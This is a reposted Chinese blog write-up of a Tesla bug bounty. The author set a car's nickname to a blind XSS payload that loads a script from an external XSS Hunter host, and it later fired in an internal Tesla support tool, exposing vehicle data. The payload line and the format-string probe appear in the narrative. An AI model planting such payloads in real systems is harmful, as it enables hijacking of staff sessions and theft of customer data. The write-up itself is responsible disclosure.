• SEO文章推广! 合作联系qq:122325244 正式全面改版 !免费SEO地址:https://www.seozhan.cn/tool 站长QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏SEO站长博客吧

挖洞经验 | 开裂的挡风玻璃让我获得了特斯拉$10,000的漏洞赏金

脚本编程 SEO站长博客 4个月前 (08-20) 292次浏览 已收录 0个评论

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

screen1@2.jpg

能有机会对 Tesla Model 3 进行安全测试是一件有趣的事,因为 Tesla Model 3 的内置系统有网页浏览器、免费高级的 LTE 和用于软件更新的 OTA 空中无线技术,说白了,它就是一台在飞驰车轮之上的联网计算机。

所以,在今年年初我买了一辆 Tesla Model 3,无论摆弄它还是驾驶它,我都乐在其中。新车到手的那几天,我在车库里琢磨了很长时间,试图让它执行一些本不该做的操作,看看有什么漏洞发现,非常幸运,我从中有所发现。

01.jpg

2019 年 4 月

首先,我研究的就是 Tesla Model 3 的“Name Your Vehicle”(命名你的车辆)功能,该功能允许车主为自己的爱车设置昵称,并将其保存到个人账户中,当车辆推送充电完成等操作通知时,这个车辆昵称可显示在车主的手机端移动应用上。“Name Your Vehicle”功能在以下右上角图示按钮:

02.jpg刚开始,我把车辆昵称设置为了“%x.%x.%x.%x”,想看看它是否像 2011 款宝马 330i 一样存在格式字符串漏洞(CVE-2017-9212),但遗憾的是,没有。

CVE-2017-9212:Bluetooth stack 是应用在 BMW 330i 中的一个蓝牙传输协议,BMW 330i 2011 版本中的 Bluetooth stack 存在安全漏洞,远程攻击者可借助设备名中的 %x 或%c 格式字符串说明符利用该漏洞造成 CD/Multimedia 软件崩溃。

2019-07-21_132155.jpg我继续把玩“Name Your Vehicle”功能的用户输入点,后来发现它可允许输入内容的长度非常长,于是,我把它命名为了一个 XSS Payload-“><script src=//zlz.xss.ht></script>,看看它会否被其它功能调用执行。

04.jpg接着,我又研究了其内置的网页浏览器,通过载入文件或构造 URI,也没能在其上面实现任何可远程实现的操作,但整个过程很有意思。那天晚上我一无所获,就早早收场休息,也忘了把车辆昵称改回来,还是之前设置的那个 Blind XSS Payload。

2019 年 6 月

在一次公路旅行中,一块大石头突然从什么地方冒出来,砸裂了我的挡风玻璃

05.jpg之后,我在特斯拉手机端 APP 中预约了一次车检,就又继续日常驾驶了。第二天,我手机邮箱收到了一条 XSS Hunter 提醒消息,其中提示有人查看了我的 XSS Payload,也就是我之前设置的那个 XSS 昵称 – “><script src=//zlz.xss.ht></script>。这就有意思了不是。

经检查,我发现特斯拉后台存在漏洞的页面 URL 为:

https://redacted.teslamotors.com/redacted/5057517/redacted

XSS 被执行的域为:

https://redacted.teslamotors.com

Referer 源页面为:

https://redacted.teslamotors.com/redacted/5YJ31337

也就是说,特斯拉的后台员工在域名“redacted.teslamotors.com” 下,查看了我对挡风玻璃开裂的预约车检时,由于之前我设置了车辆昵称为“><script src=//zlz.xss.ht></script>,因此触发了这个 XSS Payload。

XSS Hunter 的提醒消息截图显示,经由上述存在漏洞的页面 URL,特斯拉后台服务端可以响应显示出一些有关车辆的关键数据信息,并且可以通过增加 URL 中的车辆标识号(Vehicle ID ),来获取到其它车主名下特斯拉车辆的关键数据信息。这里的的车辆标识号 Vehicle ID 就是正文中的 VIN Number。我猜想,XSS Payload 的触发位置可能位于特斯拉的某个车辆管理界面中。

XSS Hunter 的截图表明,我这辆车的速度、温度、版本号、胎压、锁定情况、警报等其它具体信息都被显示出来了。如下:

VIN: 5YJ3E13374KF2313373

Car Type: 3 P74D

Birthday: Mon Mar 11 16:31:37 2019

Car Version: develop-2019.20.1203991337d

Car Computer: ice

SOE / USOE: 48.9, 48.9 %

SOC: 54.2 %

Ideal energy remaining: 37.2 kWh

Range: 151.7 mi

Odometer: 4813.7 miles

Gear: D

Speed: 81 mph

Local Time: Wed Jun 19 15:09:06 2019

UTC Offset: –21600

Timezone: Mountain Daylight Time

BMS State: DRIVE

12V Battery Voltage: 13.881 V

12V Battery Current: 0.13 A

Locked?: true

UI Mode: comfort

Language: English

Service Alert: 0X0


另外,还存在固件、总结监测器、地理围栏位置(Geofence)、汽车配置和代码名称功能等非常有意思的信息标签,如下:

06.png

我曾尝试去访问上述漏洞页面中涉及的域名 –  “redacted.teslamotors.com” ,但是却显示超时,这样看来它可能是特斯拉的一个内部 Web 应用。

更有意思的是,我认为特斯拉后台支持人员可能具备向汽车本身发送数据,远程对车辆进行配置更新的能力,我猜该应用可能是基于 DOM 超链接的方式管理车辆信息,但我没有进行深入测试。不过可以肯定的是,通过增加其中的车辆标识号(VIN)数字,向特斯拉后台发送支持性请求,这样,攻击者可以获取或更改其他车主名下的特斯拉汽车信息。

作为攻击者来说,可以向特斯拉后台提交多种支持性请求,以实现入侵攻破行为做足支撑。但出于对测试和其他车主的尊重,我没有这样做。因为实际上,通过响应信息的 DOM 结构和 JavaScript 代码,就可以向特斯拉后台伪造请求,获得我想要的信息。

漏洞上报

在开了将近 11 个小时的车之后,凌晨两点,我精神抖擞地编写完了漏洞报告上报给了特斯拉安全团队。很快,特斯拉就给我回复,漏洞最终被划分为 P1 重要级,在观点意见交换后,特斯拉在半天之内就推出了更新补丁。

07.png两周之后,特斯拉官方给了我$10,000 美金的奖励,并确认这是一个高危漏洞。回顾该漏洞的发现过程,可以算是非常简单,但可以理解的是,有时候一些安全问题总会被忽视掉。虽然则开始我不确定该漏洞的确切影响,但它是有效真实的,至少可允许攻击者查看目标车辆的实时信息,并可能查看到其他车主的相关信息。

漏洞上报进程

2019.6.20  06:27:30 UTC  漏洞上报

2019.6.20  20:35:35 UTC  漏洞分类、推出补丁

2019.7.11   16:07:59 UTC   $10,000 赏金发放


SEO站长博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:挖洞经验 | 开裂的挡风玻璃让我获得了特斯拉$10,000的漏洞赏金
喜欢 (0)
[h4ck3st@126.com]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址